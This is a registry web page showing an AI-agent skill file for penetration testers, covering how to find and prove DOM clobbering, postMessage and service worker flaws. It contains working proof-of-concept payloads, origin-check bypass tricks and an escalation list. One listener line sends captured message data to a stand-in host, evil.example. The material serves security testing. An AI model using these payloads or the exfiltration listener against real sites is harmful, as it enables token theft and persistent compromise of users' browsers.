dom-based
Skill0 starsChanged 18 days agoMITView on GitHub
Hunt for client-side DOM vulnerabilities that live entirely in the browser: DOM clobbering (HTML-injected named elements overriding JS globals/properties), postMessage abuse (missing origin checks on receivers, overly broad targetOrigin on senders), and service worker abuse (scope hijack, cache poisoning, insecure registration). Use when the app is JS-heavy, mixes user HTML with client logic, communicates cross-frame/cross-window via postMessage, or registers a service worker. Keywords: dom clobbering, postmessage, message event, origin check, service worker, sw scope, cache storage, client-side, window.name, named element, getElementById. Do NOT use for reflected/stored script injection that executes a payload directly (use xss) — this skill targets DOM structural abuse and client-trust flaws, which may *feed* XSS but are their own class.
1 other project uses a version of this.
Adopted by
Most recently taken up by
- emre-guler/websectheir own version, first seen Aug 27, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- emre-guler/websec★ 2same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository155 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-red-team-bridgeSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- sysprompt-analysisSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- artifact-cleanupSkill
- credential-hygieneSkill
- data-retentionSkill
- email-securitySkill
- engagement-flowSkill
- evidence-sealSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- security-policy-parserSkill
- 2fa-bypassSkill
- 403-bypassSkill
- api-abuseSkill
- aspnetSkill
- auth-bypassSkill
- authz-matrixSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- captcha-bypassSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- email-injectionSkill
- exceptional-conditionsSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
6 rules. About 0 are common, 3 are distinctive, and 3 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 63
DOM clobbering: If user HTML allows id/name, inject named elements to overwrite the globals/properties the JS trusts.
- Very specific: line 94
If the target posts secrets to '*', any framing origin captures them.
- Distinctive: line 96
Service worker abuse: Check scope and registration trust:
- Very specific: line 100
If Service-Worker-Allowed is overly broad, or SW can be registered from a path that serves attacker HTML/JS, a worker can intercept and …
- Distinctive: line 189
Before declaring this finding complete, probe these escalation paths:
- Distinctive: line 225
Self-XSS trap: If the only way to trigger the clobbering/handler is the victim pasting your HTML into their own page/console, it's …
≈ “Common” is an estimate: at least 1 in 5 of the 408,460 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- DOM clobbering: app renders user-controlled HTML (even "sanitized" HTML that allows
id/nameattributes — many sanitizers do) and client JS reads globals viadocument.x,window.x, orgetElementById-style lookups, or uses patterns likeconfig = config || window.CONFIG,someLib.sanitize = someLib.sanitize || defaults. - postMessage:
window.addEventListener('message', handler)in the JS with a handler that usesevent.datawithout checkingevent.origin; ortargetWindow.postMessage(data, '*')sending sensitive data to any origin. Grep the bundles foraddEventListener("message"and.postMessage(. - Service workers: a
navigator.serviceWorker.register('/sw.js')call, a/sw.jsserved with a broadService-Worker-Allowedscope, or SW registration from a path an attacker can influence;CacheAPI usage caching responses that include auth-bearing or HTML content. - Sinks reached via DOM sources (
location.hash,document.referrer,window.name,postMessage) flowing intoinnerHTML,eval,document.write,setAttribute('src').
Prerequisites
- Access to the delivered client JS (source or beautified bundles) to trace source→sink and the message/SW handlers (chain js-analysis).
- A browser with DevTools (Console, Application→Service Workers/Storage) and ideally Burp DOM Invader for automated source/sink and clobbering detection.
- For postMessage/SW PoCs: an attacker-controlled page you can host (a local
python3 -m http.serverpage that opens/iframes the target and sends messages) — scoped to your own infra.
Methodology
- Map DOM sources and sinks (chain js-analysis). Trace
location.*,document.referrer,window.name,postMessagedata, anddocument.cookieinto dangerous sinks. DOM Invader or a manual grep over the beautified bundles:# pull the bundles and grep for message handlers, SW registration, and clobberable lookups for js in $(curl -s https://target/ | grep -oE 'src="[^"]+\.js"' | sed -E 's/src="([^"]+)"/\1/'); do curl -s "https://target/$js" -o /tmp/b.js grep -nE "addEventListener\(['\"]message|\.postMessage\(|serviceWorker\.register|\.innerHTML|document\.write|window\.[A-Za-z_]+ *\|\||getElementById" /tmp/b.js done - DOM clobbering. If user HTML allows
id/name, inject named elements to overwrite the globals/properties the JS trusts. Named elements becomewindow[name]/document[name]:
Confirm the clobbered value is actually consumed (e.g. redirect target, script src, feature flag) — show the JS reading your injected node instead of its intended value. Clobbering a sink guard (e.g. a<!-- clobber a global the app reads, e.g. window.CONFIG or document.defaultUrl --> <a id="CONFIG"><a id="CONFIG" name="url" href="https://evil.example/x"></a> <!-- form+input trick to clobber nested property like config.endpoint.href --> <form id="config"><input name="endpoint" value="..."></form>sanitizerreference) can re-enable XSS. - postMessage receiver abuse. For a
messagehandler with no/weak origin check, host a page that sends crafted data and observe the effect (DOM write, token relay, navigation, state change):
Prove the handler acts on cross-origin data (origin not validated, or validated by a weak<!-- attacker page: open target, post malicious data; receiver trusts event.data blindly --> <iframe src="https://target/app" id="t"></iframe> <script> t.onload = () => t.contentWindow.postMessage( {type:'setProfileImg', url:'javascript:alert(document.domain)'}, '*'); </script>indexOf('target.com')thattarget.com.evil.netpasses). - postMessage sender leak. Find senders using
'*'targetOrigin carrying sensitive data (tokens, user info). Host a page that frames/opens the target and listens:
If the target posts secrets to<script>window.addEventListener('message', e => fetch('https://evil.example/log?d='+btoa(e.data)));</script>'*', any framing origin captures them. - Service worker abuse. Check scope and registration trust:
curl -sI https://target/sw.js | grep -i "service-worker-allowed\|content-type"- If
Service-Worker-Allowedis overly broad, or SW can be registered from a path that serves attacker HTML/JS, a worker can intercept and poison responses for a whole scope. - In DevTools Application→Service Workers, inspect
fetchhandlers caching auth-bearing responses (Cache API) that a later victim could read, or SW serving stale/poisoned content.
- If
- Prove the security effect, not just the mechanism. A clobbered variable, a fired handler, or a registered SW is a mechanism; the finding is the resulting impact (redirect to attacker, token theft, XSS re-enabled, response poisoning). Demonstrate that.
Tooling
- Burp Suite DOM Invader — automated DOM source/sink tracing, clobbering candidate detection, postMessage interception.
- Chrome DevTools — Console (trace reads of clobbered globals), Application tab (Service Workers, Cache Storage, scope), Sources (breakpoints on message handlers).
- A hosted attacker page (
python3 -m http.serveron your own box/VPS) for postMessage and SW PoCs — never point a PoC at third-party infrastructure. curlfor SW headers/scope and bundle retrieval.
Root Causes
- Sanitizers/renderers that permit
id/nameattributes in user HTML, combined with JS that resolves configuration/globals via DOM lookups (window.x,document.getElementById,x || window.X) — classic DOM clobbering surface. messageevent handlers that useevent.datawithout strictly validatingevent.origin(missing check, or substring/regex checks that match attacker subdomains).postMessage(data, '*')on the sender side leaking data to any origin.- Service workers registered with broad scope, served from user-influenced paths, or caching sensitive/HTML responses without origin/auth considerations.
- General client-side trust of untrusted DOM sources (
hash,referrer,window.name) flowing into sinks.
Validation Gate (minimum proof)
- Demonstrated: a working client-side PoC showing concrete impact — clobbered global causing
an attacker-controlled redirect/script-src/feature-flag (or re-enabling XSS), a postMessage
handler acting on cross-origin data (state change / DOM write / nav), a
'*'sender leaking a real secret captured by your listener, or a service worker poisoning/leaking a response. Include the HTML/JS PoC and the observed effect (screenshot/console/network). - Inferred: the mechanism is present and partially shown (handler fires on cross-origin message, or a clobberable global is read) but the end impact isn't yet driven — e.g. origin check is missing but no sensitive sink reached in this test.
- Unproven: "there's an
addEventListener('message')with no origin check" or "sanitizer allowsid" with no PoC causing an effect. Do not report as a finding; log as a lead. - Specify the sub-class (clobbering / postMessage-receiver / postMessage-sender / service-worker) and the exact source→sink or trust boundary — remediation differs per sub-class.
Payloads & Detection Patterns
| Categoría | Shape | Propósito |
| Clobber global | <a id="X"><a id="X" name="y" href="..."> | overwrite window.X / X.y the JS reads |
| Clobber nested | <form id="cfg"><input name="url" value=".."> | set cfg.url property |
| Clobber guard | named node replacing a sanitizer/flag ref | re-enable a disabled sink (→ xss) |
| pM receiver | postMessage({type:'...',payload}, '*') from attacker page | hit handler lacking origin check |
| pM origin bypass | origin https://target.com.evil.net | beat substring/indexOf origin checks |
| pM sender leak | listen for messages while framing target | capture secrets sent to '*' |
| SW scope probe | GET /sw.js read Service-Worker-Allowed | find over-broad worker scope |
# Detection: inventory the three sub-classes from the delivered JS and SW headers.
curl -s https://target/ -o /tmp/idx.html
mapfile -t JS < <(grep -oE '(src|href)="[^"]+\.js"' /tmp/idx.html | sed -E 's/.*="([^"]+)".*/\1/')
for j in "${JS[@]}"; do
u="https://target/${j#/}"; curl -s "$u" -o /tmp/b.js
echo "== $u =="
grep -nE "addEventListener\(['\"]message" /tmp/b.js && echo " [postMessage receiver]"
grep -nE "\.postMessage\([^,]+, *['\"]\*['\"]" /tmp/b.js && echo " [sender targetOrigin='*']"
grep -nE "serviceWorker\.register" /tmp/b.js && echo " [SW registration]"
grep -nE "window\.[A-Za-z_][A-Za-z0-9_]* *\|\||getElementById|document\.[A-Za-z_]+ *\|\|" /tmp/b.js \
&& echo " [clobberable lookup]"
done
curl -sI https://target/sw.js | grep -i "service-worker-allowed"
# Receivers without a nearby event.origin check, '*' senders, or broad SW scope are leads to PoC.Bypass Techniques
| Filtro evadido | Técnica | Notas |
| sanitizer strips scripts | DOM clobbering via allowed id/name | no script needed; abuse structure |
origin indexOf('target.com') | origin https://target.com.evil.net or evil-target.com | substring match is not an equality check |
| origin allowlist startsWith | https://target.com.attacker/ | prefix/suffix confusion |
| SW same-origin only | register from user-controlled path on-origin | scope widened via Service-Worker-Allowed |
| CSP blocks inline | clobber a URL the app itself fetches/executes | effect via app's own trusted fetch |
| framebusting | use postMessage to a popup (window.open) not iframe | avoids X-Frame-Options |
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- Re-enable XSS — Does clobbering a sanitizer/flag or a postMessage DOM write reach an
innerHTML/eval/srcsink? Chain xss for script execution. - Token/secret theft — Does a
'*'sender or a cached SW response expose auth tokens, session data, or PII? Chain info-disclosure. - CSRF-like state change — Can the postMessage handler trigger a privileged action cross-origin without a token? Chain csrf.
- Open redirect / nav hijack — Clobbered redirect target or handler-driven
locationassignment → phishing/token leak via redirect (chain open-redirect). - Persistent client compromise — A malicious/poisoned service worker persists across visits; assess scope and whether it can serve attacker content to future sessions.
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- DOM clobbering → disables sanitizer/guard → xss (bypass that blocked direct injection).
- postMessage receiver without origin check → csrf (cross-origin state change) or xss (data into DOM sink).
- postMessage
'*'sender → info-disclosure (token/PII leak to framing origin). - Service worker scope hijack → response poisoning → xss / phishing persistence.
- Clobbered redirect target → open-redirect → credential/token phishing.
Gotchas
- Mechanism ≠ finding. A missing origin check, a clobberable global, or an SW registration is a lead. The report needs the effect (redirect, token theft, XSS, poisoning) demonstrated with a PoC — per anti-fabrication, "could allow" without a trigger is not a finding.
- Browser differences matter. DOM clobbering behaviour varies (named-element collections,
HTMLCollectionvs single element) across Chrome/Firefox/Safari; state the browser/version your PoC worked in and don't generalize beyond what you tested. - Origin check may be elsewhere. A handler without an inline
event.origincheck might be guarded by a wrapper or a trusted-frames list — trace the full path before claiming it's unvalidated; test with an actual cross-origin message. - Self-XSS trap. If the only way to trigger the clobbering/handler is the victim pasting your HTML into their own page/console, it's self-XSS, not a deliverable finding — show a realistic injection/ delivery path.
- Service worker PoCs persist. A registered worker survives navigation; clean up (unregister in DevTools) and never register a worker on infrastructure you don't own.
- Common N/A: sanitizer strips
id/name, handlers strictly compareevent.origin === 'https://trusted', senders use explicit targetOrigin, SW scope is tight and caches nothing sensitive — record tested-and-safe with the evidence.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

